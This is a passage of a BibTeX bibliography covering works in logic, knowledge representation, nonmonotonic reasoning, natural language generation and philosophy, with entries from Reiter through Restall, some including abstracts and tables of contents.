{The {MIT} Press}, + year = {1987}, + editor = {Eric Reuland and Alice {ter Meulen}}, + address = {Cambridge, Massachusetts}, + missinginfo = {130--167}, + topic = {nl-semantics;(in)definiteness;} + } + +@article{ reinhart_t-reuland:1993a, + author = {Tanya Reinhart and Eric Reuland}, + title = {Reflexivity}, + journal = {Linguistic Inquiry}, + year = {1993}, + volume = {24}, + number = {4}, + pages = {657--720}, + topic = {reflexive-constructions;} +} + +@misc{ reiter_e:1989a, + author = {Ehud Reiter}, + title = {The {P}enman User Guide, {P}enman {N}atural {L}anguage + {G}eneration {G}roup}, + year = {1989}, + note = {Available from USC/Information Sciences Institute, 4676 Admiralty + Way, Marina del Rey, California 90292-6695.}, + topic = {nl-generation;} +} + +@article{ reiter_e:1991a, + author = {Ehud Reiter}, + title = {A New Model of Lexical Choice for Nouns}, + journal = {Computational Intelligence}, + year = {1991}, + volume = {7}, + pages = {240--251}, + missinginfo = {number}, + topic = {nl-generation;lexical-selection;} + } + +@techreport{ reiter_e-etal:1991a, + author = {Ehud Reiter and John Levine and Chris Mellish}, + title = {Tailoring Plans to Users With Different Levels of Expertise}, + institution = {University of Edinburgh, Department of Artificial + Intelligence}, + year = {1991}, + number = {DAI 548}, + topic = {discourse-planning;user-modeling;nl-generation;pragmatics;} +} + +@article{ reiter_e:1992a, + author = {Ehud Reiter}, + title = {A New Model of Lexical Choice for Nouns}, + year = {1992}, + journal = {Computational Intelligence: Special Issue on Natural + Language Generation}, + volume = {7}, + number = {4}, + topic = {nl-generation;lexical-choice;} +} + +@inproceedings{ reiter_e:1994a, + author = {Ehud Reiter}, + title = {Has a Consensus {NL} Generation Architecture + Appeared, and is it Psycholinguistically Plausible?}, + booktitle = {Seventh International Workshop on Natural Language + Generation}, + address = {Kennebunkport, Maine}, + year = {1994}, + pages = {163--170}, + topic = {nl-generation;} +} + +@incollection{ reiter_e-osman:1997a, + author = {Ehud Reiter and Liesl Osman}, + title = {Tailored Patient Information: + Some Issues and Questions}, + booktitle = {From Research to Commercial Applications: Making + {NLP} Work in Practice}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {35--42}, + address = {Somerset, New Jersey}, + topic = {nl-generation;discourse-planning;medical-AI;} + } + +@article{ reiter_e:2000a, + author = {Ehud Reiter}, + title = {Pipelines and Size Constraints}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {251--259}, + topic = {nl-generation;} + } + +@book{ reiter_e-dale_r:2000a, + author = {Ehud Reiter}, + title = {Building Natural Language Generation Systems}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + ISBN = {0-521-62036-8}, + xref = {Review: horacek:2001a.}, + topic = {nl-generation;} + } + +@incollection{ reiter_r:1978a1, + author = {Raymond Reiter}, + title = {On Closed World Data Bases}, + booktitle = {Logic and Data Bases}, + publisher = {Plenum Press}, + year = {1978}, + editor = {H. Gallaire and Jack Minker}, + pages = {55--76}, + address = {New York}, + xref = {Republication: reiter_r:1978a2, reiter_r:1978a3.}, + topic = {nonmonotonic-reasoning;closed-world-reasoning;databases;} + } + +@incollection{ reiter_r:1978a2, + author = {Ray Reiter}, + title = {On Closed World Data Bases}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {119--140}, + address = {Los Altos, California}, + xref = {Original Publication: reiter_r:1978a1.}, + topic = {nonmonotonic-reasoning;closed-world-reasoning;} + } + +@incollection{ reiter_r:1978a3, + author = {Raymond Reiter}, + title = {On Closed World Data Bases}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {300--310}, + address = {Los Altos, California}, + xref = {Original Publication: reiter_r:1978a1.}, + topic = {nonmonotonic-reasoning;closed-world-reasoning;databases;} + } + +@article{ reiter_r:1980a1, + author = {Raymond Reiter}, + title = {A Logic for Default Reasoning}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {13}, + number = {1--2}, + pages = {81--132}, + xref = {Republication: reiter_r:1980a2.}, + topic = {kr;nonmonotonic-logic;kr-course;} + } + +@incollection{ reiter_r:1980a2, + author = {Raymond Reiter}, + title = {A Logic for Default Reasoning}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {68--93}, + address = {Los Altos, California}, + xref = {Republication of: reiter_r:1980a1.}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@article{ reiter_r:1980b, + author = {Raymond Reiter}, + title = {Equality and Domain Closure in First-Order Databases}, + journal = {Journal of the Association for Computing Machinery}, + year = {1980}, + volume = {27}, + number = {2}, + pages = {235--249}, + topic = {deductive-databases;} + } + +@inproceedings{ reiter_r-criscuolo:1981a1, + author = {Raymond Reiter and Giovanni Criscuolo}, + title = {On Interacting Defaults}, + booktitle = {Proceedings of the Seventh International Joint + Conference on Artificial Intelligence}, + year = {1981}, + editor = {Patrick J. Hayes}, + pages = {270--276}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + xref = {Republication: reiter_r-criscuolo:1981a2.}, + topic = {default-logic;nonmonotonic-logic;} + } + +@incollection{ reiter_r-criscuolo:1981a2, + author = {Raymond Reiter and Giovanni Criscuolo}, + title = {On Interacting Defaults}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {94--100}, + address = {Los Altos, California}, + xref = {Republication of: reiter_r-criscuolo:1981a1.}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@inproceedings{ reiter_r:1983a1, + author = {Raymond Reiter}, + title = {On Reasoning by Default}, + booktitle = {Proceedings of TINLAP 2, Theoretical Issues in + Natural Language Processing 2}, + publisher = {Association for Computational Linguistics}, + year = {1983}, + pages = {210--218}, + xref = {Republished in Ronald J. Brachman and Hector J. Levesque; + Readings in Knowledge Representation. See + etherington-reiter_r:1983a2.}, + topic = {default-logic;nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@incollection{ reiter_r:1983a2, + author = {Raymond Reiter}, + title = {On Reasoning by Default}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1983}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + pages = {401--410}, + xref = {Originally published in TINLAP 83. See reiter_r:1983a1.}, + topic = {kr;inheritance-theory;kr-course;} + } + +@techreport{ reiter_r:1983b, + author = {Raymond Reiter}, + title = {A Sound and Sometimes Complete Query Evaluation Algorithm + for Relational Databases with Null Values}, + institution = {Department of Computer Science, University of + British Columbia}, + number = {83--11}, + year = {1983}, + address = {Vancouver}, + topic = {databases;} + } + +@article{ reiter_r-criscuolo:1983a, + author = {Raymond Reiter and Giovanni Criscuolo}, + title = {Some Representational Issues in Default Reasoning}, + journal = {Computers and Mathematics with Applications}, + year = {1983}, + volume = {9}, + number = {1}, + pages = {15--27}, + topic = {default-logic;nonmonotonic-logic;} + } + +@incollection{ reiter_r:1984a, + author = {Raymond Reiter}, + title = {Towards a Logical Reconstruction of Relational Database + Theory}, + booktitle = {On Conceptual Modelling: Perspectives from Artificial + Intelligence, Databases and Programming Languages}, + publisher = {Springer-Verlag}, + year = {1984}, + editor = {Michael L. Brodie and John Mylopoulos and Joachim W. Schmidt}, + pages = {191--233}, + address = {Berlin}, + topic = {databases;applied-logic;} + } + +@article{ reiter_r:1987a, + author = {Raymond Reiter}, + title = {Must Logicists Become Programmers?}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {206--207}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@article{ reiter_r:1987b1, + author = {Raymond Reiter}, + title = {A Theory of Diagnosis from First Principles}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {1}, + pages = {57--95}, + xref = {Republication: reiter_r:1987b2. Commentary: greiner-etal:1989a.}, + topic = {diagnosis;abduction;nonmonotonic-reasoning;} + } + +@incollection{ reiter_r:1987b2, + author = {Raymond Reiter}, + title = {A Theory of Diagnosis from First + Principles}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {352--371}, + address = {Los Altos, California}, + xref = {Original Publication: reiter_r:1987b1. Commentary: + greiner-etal:1989a.}, + topic = {diagnosis;abduction;nonmonotonic-reasoning;} + } + +@inproceedings{ reiter_r-dekleer:1987a, + author = {Raymond Reiter and Johan de Kleer}, + title = {Foundations of Assumption-based Truth Maintenance Systems: + Preliminary Report}, + booktitle = {Proceedings of the Sixth National Conference on + Artificial Intelligence}, + year = {1987}, + editor = {Kenneth Forbus and Howard Shrobe}, + pages = {183--188}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {truth-maintenance;} + } + +@incollection{ reiter_r:1988a, + author = {Raymond Reiter}, + title = {Nonmonotonic Reasoning}, + booktitle = {Exploring Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1988}, + editor = {Howard E. Shrobe}, + pages = {439--482}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-reasoning;nonmonotonic-reasoning-survey;kr-course;} + } + +@inproceedings{ reiter_r:1988b, + author = {Raymond Reiter}, + title = {On Integrity Constraints}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {97--111}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {knowledge-representation;belief-revision;database-update;} + } + +@article{ reiter_r-mackworth:1989a, + author = {Raymond Reiter and Alan K. Mackworth}, + title = {A Logical Framework for Depiction and Image + Interpretation}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {2}, + pages = {125--155}, + acontentnote = {Abstract: + We propose a logical framework for depiction and interpretation + that formalizes image domain knowledge, scene domain knowledge + and the depiction mapping between the image and scene domains. + This framework requires three sets of axioms: image axioms, + scene axioms and depiction axioms. Aninterpretation of an image + is defined to be a logical model of these axioms.The approach is + illustrated by a case study, a reconstruction in + first-orderlogic of a simplified map-understanding program, + Mapsee. The reconstruction starts with a description of the map + and a specification of general knowledge of maps, geographic + objects and their depiction relationships. For the simple map + world we show how the task level specification may be refined to + a provably correct implementation by applying + model-preserving transformations to the initial logical + representation to produce a set of propositional formulas. The + implementation may use known constraint satisfaction techniques + to find the set of models of these propositional formulas. In + addition, we sketch preliminary logical treatments for + imagequeries, contingent scene knowledge, ambiguity in image + description, occlusion, complex objects, preferred + interpretations and image synthesis. This approach provides a + formal framework for analyzing and going beyond existing systems + such as Mapsee, and for understanding the use of + constraintsatisfaction techniques. It can be used as a + foundation for the specification, design and implementation of + vision and graphics systems that are correct with respect to the + task and algorithm levels. + } , + topic = {image-depiction;image-retrieval;logic-in-AI;computer-graphics;} + } + +@incollection{ reiter_r:1991a, + author = {Raymond Reiter}, + title = {The Frame Problem in the Situation Calculus: a Simple Solution + (Sometimes) and a Completeness Result for Goal Regression}, + booktitle = {Artificial Intelligence and the Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {418--420}, + address = {San Diego}, + topic = {kr;frame-problem;situation-calculus;action-formalism;} + } + +@incollection{ reiter_r:1992a, + author = {Raymond Reiter}, + title = {Twelve Years of Nonmonotonic Reasoning Research: Where + (and What) Is the Beef?}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {789}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-logic;nonmonotonic-reasoning;logic-in-AI;} + } + +@article{ reiter_r:1993a, + author = {Raymond Reiter}, + title = {Proving Properties of States in the Situation Calculus}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {2}, + pages = {337--351}, + acontentnote = {Abstract: + In the situation calculus, it is sometimes necessary to prove + that certain properties are true in all world states accessible + from the initial state. This is the case for some forms of + reasoning about the physical world, for certain planning + applications, and for verifying integrity constraints in + databases. Not surprisingly, this requires a suitable form of + mathematical induction. This paper motivates the need for + proving properties of states in the situation calculus, proposes + appropriate induction principles for this task, and gives + examples of their use in databases and for reasoning about the + physical world.}, + topic = {situation-calculus;temporal-reasoning;plan-verification; + frame-problem;} + } + +@article{ reiter_r:1995a, + author = {Raymond Reiter}, + title = {On Specifying Database Updates}, + journal = {Journal of Logic Programming}, + year = {1995}, + volume = {25}, + pages = {53--91}, + missinginfo = {number}, + topic = {database-update;} + } + +@inproceedings{ reiter_r:1996a, + author = {Raymond Reiter}, + title = {Time in the Situation Calculus}, + booktitle = {Working Papers: Common Sense '96}, + year = {1996}, + editor = {Sa\v{s}a Buva\v{c} and Tom Costello}, + pages = {176--185}, + publisher = {Computer Science Department, Stanford University}, + address = {Stanford University}, + note = {Consult http://www-formal.Stanford.edu/tjc/96FCS.}, + contentnote = {Sandewall influence. Develops generalization + of Sit Calc to the case of several agents, one of which is + nature. It is deterministic in effects of actions, also det as + to when natural actions can occur. Allows for continuous time.}, + topic = {kr;temporal-reasoning;frame-problem;concurrent-actions;kr-course; + reasoning-about-continuous-time;continuous-change;} + } + +@incollection{ reiter_r:1996b, + author = {Raymond Reiter}, + title = {Natural Actions, Concurrency and Continuous Time in the Situation + Calculus}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {2--13}, + address = {San Francisco, California}, + topic = {kr;temporal-reasoning;frame-problem;concurrent-actions;kr-course; + reasoning-about-continuous-time;continuous-change;} + } + +@incollection{ reiter_r:1998a, + author = {Raymond Reiter}, + title = {Sequential, Temporal {GOLOG}}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {547--556}, + address = {San Francisco, California}, + topic = {kr;cognitive-robotics;action-formalisms;kr-course;} + } + +@inproceedings{ reiter_r:1999a, + author = {Raymond Reiter}, + title = {The Cognitive Robotics Project at the + University of {T}oronto}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {cognitive-robotics;} + } + +@inproceedings{ reiter_r:1999b, + author = {Raymond Reiter}, + title = {A Coffee Delivery {G}olog Program}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {cognitive-robotics;Golog;} + } + +@inproceedings{ reiter_r:2000a, + author = {Ray Reiter}, + title = {Narratives as Programs}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {99--108}, + topic = {action-narratives;GoLog;} + } + +@incollection{ renault:1994a, + author = {Sophie Renault}, + title = {Generalizing Extended Execution for Normal + Programs}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {154--169}, + address = {Berlin}, + topic = {logic-programming;} + } + +@article{ rencanti:1986a, + author = {Fran\c{c}ois Recanati}, + title = {On Defining Communicative Intentions}, + journal = {Mind and Language}, + year = {1986}, + volume = {1}, + number = {3}, + pages = {213--242}, + topic = {speaker-meaning;pragmatics;implicature;} + } + +@article{ rendell:1983a, + author = {Larry Rendell}, + title = {A New Basis for State-Space Learning Systems and a + Successful Implementation}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {4}, + pages = {369--392}, + acontentnote = {Abstract: + A new basis for state-space learning systems is described which + centers on a performance measure localized in feature space. + Although a parameterized linear evaluation function is its end + product the iterative implementation examined has elements both + of adaptive control (parameter optimization) and of pattern + recognition (pattern formation and feature selection). The + system has repeatedly generated an evaluation function which + solves all of a random set of fifteen puzzle instances. Despite + the absence of any objective function the parameter vector is + locally optimal, a result not previously attained in any way. } , + topic = {machine-learning;pattern-matching;} + } + +@book{ renkema:1993a, + author = {Jan Renkema}, + title = {Discourse Studies: an Introductory Textbook}, + publisher = {J. Benjamins}, + year = {1993}, + address = {Amsterdam}, + contentnote = {This is a textbook. 17 chapters, + in 4 parts: 1) General Orientation, Basic Phenomena, 3) + Specific Types, 4) Production and Perception. Mainly from + a sociolinguistic perspective. It is worth studying.}, + topic = {discourse-analysis;pragmatics;} +} + +@article{ renooij-etal:2002a, + author = {Silja Renooij and Linda C. and van der Gaag and Simon Parsons}, + title = {Context-Specific Sign-Propagation in Qualitative + Probabilistic Networks}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {140}, + number = {1--2}, + pages = {207--230}, + topic = {qualitative-probability;graph-based-representations; + nonmonotonic-reasoning;} + } + +@article{ rentzepopoulos-kokkinakis:1996a, + author = {Panagiotis A. Rentzepopoulos and George K. Kokkinakis}, + title = {Efficient Multilingual Phoneme-to-Grapheme Conversion + Based on {HMM}}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {3}, + pages = {351--376}, + topic = {hidden-Markov-models;speech-recognition;} + } + +@inproceedings{ reny:1988a, + author = {Philip J. Reny}, + title = {Extensive Games and Common Knowledge (Abstract)}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {395}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {game-theory;mutual-belief;} + } + +@inproceedings{ reny:1988b, + author = {Philip J. Reny}, + title = {Common Knowledge and Games With Perfect Information}, + booktitle = {{PSA} 1988: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Volume 2}, + year = {1992}, + editor = {Arthur Fine and Janet Leplin}, + pages = {363--369}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + address = {East Lansing, Michigan}, + topic = {game-theory;mutual-beliefs;} + } + +@article{ renyi:1955a, + author = {Alfred R\'enyi}, + title = {On a New Axiomatic Theory of Probability}, + journal = {Acta Mathematicaa Academiae Scientiarum Hungaricae}, + year = {1955}, + volume = {6}, + pages = {285--335}, + missinginfo = {A's 1st name, number}, + topic = {primitive-conditional-probability;} + } + +@book{ renyi:1970a, + author = {Alfred R\'enyi}, + title = {Foundations of Probability}, + publisher = {Holden Day}, + year = {1970}, + topic = {foundations-of-probability;} + } + +@incollection{ renz:1998a, + author = {Jochen Renz}, + title = {A Canonical Model of the Region Connection Calculus}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {330--341}, + address = {San Francisco, California}, + topic = {kr;spatial-reasoning;kr-course;region-connection-calculus;} + } + +@article{ renz-nebel:1999a, + author = {Jochen Renz and Bernhard Nebel}, + title = {On the Complexity of Qualitative Spatial Reasoning: + A Maximal Tractable Fragment of the Region Connection + Calculus}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {108}, + number = {1--2}, + pages = {69--123}, + topic = {spatial-reasoning;tractable-logics;complexity-in-AI; + region-connection-calculus;} + } + +@article{ rescher:1967a, + author = {Nicholas Rescher}, + title = {On the Logic of Presupposition}, + journal = {Philosophy and Phenomenological Research}, + year = {1967}, + volume = {21}, + pages = {521--527}, + missinginfo = {number}, + topic = {presupposition;pragmatics;} + } + +@book{ rescher:1969a, + editor = {Nicholas Rescher}, + title = {Essays in Honor of {C}arl {G}. {H}empel. + A Tribute On the Occasion of His Sixty-Fifth Birthday}, + publisher = {Dordrecht, D. Reidel [}, + year = {1969}, + address = {Dordrecht}, + ISBN = {0137820941}, + contentnote = {TC: + 1. P. Oppenheim, "Reminiscences of Peter" + 2. W. V. Quine, "Natural kinds" + 3. J. Hintikka, "Inductive independence and the paradoxes of + confirmation" + 4. W. C. Salmon, "Partial entailment as a basis for inductive + logic" + 5. W. Sellars, "Are there non-deductive logics?" + 6. R. C. Jeffre, "Statistical explanation vs. statistical + inference" + 7. R. Nozick, "Newcomb's problem and two principles of choice" + 8. A. Gr=FCnbaum, "The meaning of time" + 9. N. Rescher, "Lawfulness as mind-dependent" + 10. J. Kim, "Events and their descriptions: some considerations" + 11. D. Davidson, "The individuation of events" + 12. H. Putnam, "On properties" + 13. F. B. Fitch, "A method for avoiding the Curry paradox" + } , + topic = {philosophy-of-science;} + } + +@article{ rescher-vandernat:1973a, + author = {Nicholas Rescher and Arnold Vander Nat}, + title = {On Alternatives in Epistemic Logic}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {1}, + pages = {119--135}, + topic = {epistemic-logic;} + } + +@book{ rescher:1975a, + author = {Nicholas Rescher}, + title = {A Theory of Possibility}, + publisher = {Blackwell Publishers}, + year = {1975}, + address = {Oxford}, + topic = {philosophy-of-possible-worlds;} + } + +@book{ rescher-brandom:1980a, + author = {Nicholas Rescher and Robert Brandom}, + title = {The Logic of Inconsistency}, + publisher = {Blackwell Publishers}, + year = {1980}, + address = {Oxford}, + topic = {paraconsistency;} + } + +@incollection{ resnick:1991a, + author = {Lauren B. Resnick}, + title = {Shared Cognition: Thinking as Social Practice}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {1--20}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@book{ resnick-etal:1991a, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + title = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + address = {Washington, D.C.}, + contentnote = {TC: + 1. Lauren B. Resnick, "Shared Cognition: Thinking as Social + Practice", pp. 1--20 + 2. Michael Siegal, "A Clash of Conversational Worlds: + Interpreting Cognitive Development through + Communication", pp. 23--40 + 3. Anne-Nelly Perret-Clermont, Jean-Fran{\c}ois Perret, and Nancy + Bell, "The Social Construction of Meaning and Cognitive + Activity in Elementary School Children", pp. 41--62 + 4. Jean Lave, "Situating Learning in Communities of + Practice", pp. 63--82 + 5. James V. Wertsch, "A Sociocultural Approach to Socially + Shared Cognition", pp. 85--100 + 6. Shirley Brice Heath, "\,`It's About Winning!' The language + of Knowledge in Baseball", pp. 101--124 + 7. Herbert H. Clark and Susan E. Brennan, "Grounding in + Communication", pp. 127--149 + 8. Emanuel A. Schegloff, "Conversation Analysis and Socially + Shared Cognition", pp. 150--171 + 9. Robert M. Krauss and Susan R. Fussell, "Constructing Shared + Communicative Environments", pp. 172--200 + 10. James S. Boster, "The Information Economy Model Applied to + Biological Similarity Judgment", pp. 203--225 + 11. Rochel Gelman, Christine M. Massey, and Mary + McManus, "Characterizing Supporting Environments for + Cognitive Development: Lessons from Children in a + Museum", pp. 226--256 + 11. John M. Levine and Richard L. Moreland, "Culture and + Socialization in Work Groups", pp. 257--279 + 12. Edwin Hutchins, "The Social Organization of Distributed + Cognition", pp. 283--207 + 13. Reid Hastie and Nancy Pennington, "Cognitive and Social + Processes in Decision Making", pp. 308--327 + 14. Giyoo Hatano and Kayoko Inagaki, "Sharing Cognition through + Collective Comprehension Activity", pp. 331--348 + 15. Barbara Rogoff, "Social Interaction as Apprenticeship in + Thinking: Guided Participation in Spatial + Planning", pp. 349--383 + 16. Celia A. Brownell and Michael Sean Carriger, "Collaborations + among Toddler Peers: Individual Contributions to + Social Contexts", pp. 384--397 + 17. William Damon, "Problems of Direction in Socially Shared + Cognition", pp. 398--417 + } , + ISBN = {1557981213}, + topic = {social-psychology;shared-cognition;} + } + +@techreport{ resnik_la-etal:1993a, + author = {Lori A. Resnik and Alex Borgida and Ronald J. Brachman and Deborah + L. McGuinness and Peter F. Patel-Schneider and Kevin C. + Zalondek}, + title = {{\sc classic} Description and Reference Manual for the Common Lisp + Implementation Version 2.2.}, + institution = {AT\&T Laboratories}, + year = {1993}, + topic = {kr;taxonomic-logics;classic;kr-course;} + } + +@techreport{ resnik_la-etal:1995a, + author = {Lori A. Resnik and Alex Borgida and Ronald J. Brachman + and Deborah L. McGuinness and Peter F. Patel-Schneider}, + title = {{CLASSIC} Description and Reference Manuel for the {COMMON LISP} + Implementation: Version 2.3}, + institution = {AT\&T Bell Laboratories}, + year = {1995}, + address = {Florham Park, New Jersey}, + topic = {kr;taxonomic-logics;classic;kr-course;} + } + +@incollection{ resnik_m:1996a, + author = {Michael Resnik}, + title = {Ought There to be One Logic?}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {489--517}, + address = {Oxford}, + topic = {philosophy-of-logic;} + } + +@book{ resnik_m:1997a, + author = {Michael Resnik}, + title = {Mathematics as a Science of Patterns}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + xref = {Review: tappenden:2001a.}, + topic = {philosophy-of-mathematics;} + } + +@inproceedings{ resnik_p:1995a, + author = {Philip Resnik}, + title = {Using Information to Evaluate Semantic Similarity in a Taxonomy}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {448--452}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {kr;taxonomies;automatic-classification;kr-course;} + } + +@inproceedings{ resnik_p:1995b, + author = {Philip Resnik}, + title = {Disambiguating Noun Groupings with Respect to + {W}ordnet Senses}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {54--68}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;disambiguation;Wordnet; + lexical-disambiguation;} + } + +@article{ resnik_p:2001a, + author = {Philip Resnik}, + title = {Review of {\it Parallel Text Processing: Alignment and + Use of Translation Corpora}, edited by {J}ean {V}\'eronis}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {4}, + pages = {592--597}, + xref = {Review of: veronis:2000.}, + topic = {text-alignment;corpus-linguistics;machine-translation;} + } + +@article{ restall:1993a, + author = {Greg Restall}, + title = {Simplified Semantics for Relevant Logics (and Some of + Their Rivals)}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {5}, + pages = {481--511}, + topic = {relevance-logic;} + } + +@article{ restall:1995a, + author = {Greg Restall}, + title = {Four-Valued Semantics for Relevant Logics (and Some of + Their Rivals)}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {2}, + pages = {139--160}, + topic = {relevance-logic;many-valued-logic;} + } + +@techreport{ restall:1996a, + author = {Greg Restall}, + title = {{\L}ukasiewicz, Supervaluations, and the Future}, + institution = {Automated Reasoning Project, Australian National + University}, + number = {TR--ARP--21--96}, + year = {1996}, + address = {Canberra, Australia}, + topic = {branching-time;} + } + +@article{ restall:1997a, + author = {Greg Restall}, + title = {Combining Possibilities and Negations}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {1}, + pages = {121--141}, + topic = {modal-logic;negation;combining-logics;} + } + +@article{ restall:1997b, + author = {Greg Restall}, + title = {Displaying and Deciding Substructural Logics {I}: + Logics with Contraposition}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {2}, + pages = {179--216}, + topic = {substructural-logics;decidability;} + } + +@book{ restall:1999a, + author = {Greg Restall}, + title = {An Introduction to Substructural Logics}, + publisher = {Routledge}, + year = {1999}, + address = {London}, + ISBN = {0 415 21533 1 (Hb), 0 415 21534 X(Pb)}, + topic = {substructural-logics;} + } + +@article{ restall:1999b, + author = {Greg Restall}, + title = {Review of {\it Applied Logic}, by {K}aj {B}\"orge {H}ansen}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {426--429}, + xref = {Review of: hansen_kb:1996a.}, + topic = {philosophical-logic;} + } + +@book{ restall:2000a, + author = {Greg Restall}, + title = {An Introduction to Substructural Logics}, + publisher = {Routledge}, + year = {2000}, + address = {London}, + xref = {Review: dosen:2001a.}, + topic = {substructural-logics;linear-logic;proof-theory;} + } + +@article{ restall:2002a, + author = {Greg Restall}, + title = {Carnap's Tolerance, Meaning, and Logical Pluralism}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {8}, + pages = {426--443}, + topic = {phhilosophy-of-logic;logical-consequence;Carnap;} + } + +@book{ retore:1997a, + editor = {Christian Retor/'e}, + title = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + contentnote = {TC: + 1. Patrick Blackburn and Marc Dymetman and Alain Lecomte and + Aarne Ranta and Christian Retor\'e and Eric Villemonte + de la Clergerie, "Logical Aspects of Computational + Linguistics: an Introduction" + 2. Aravind K. Joshi and Seth Kulick, "Partial 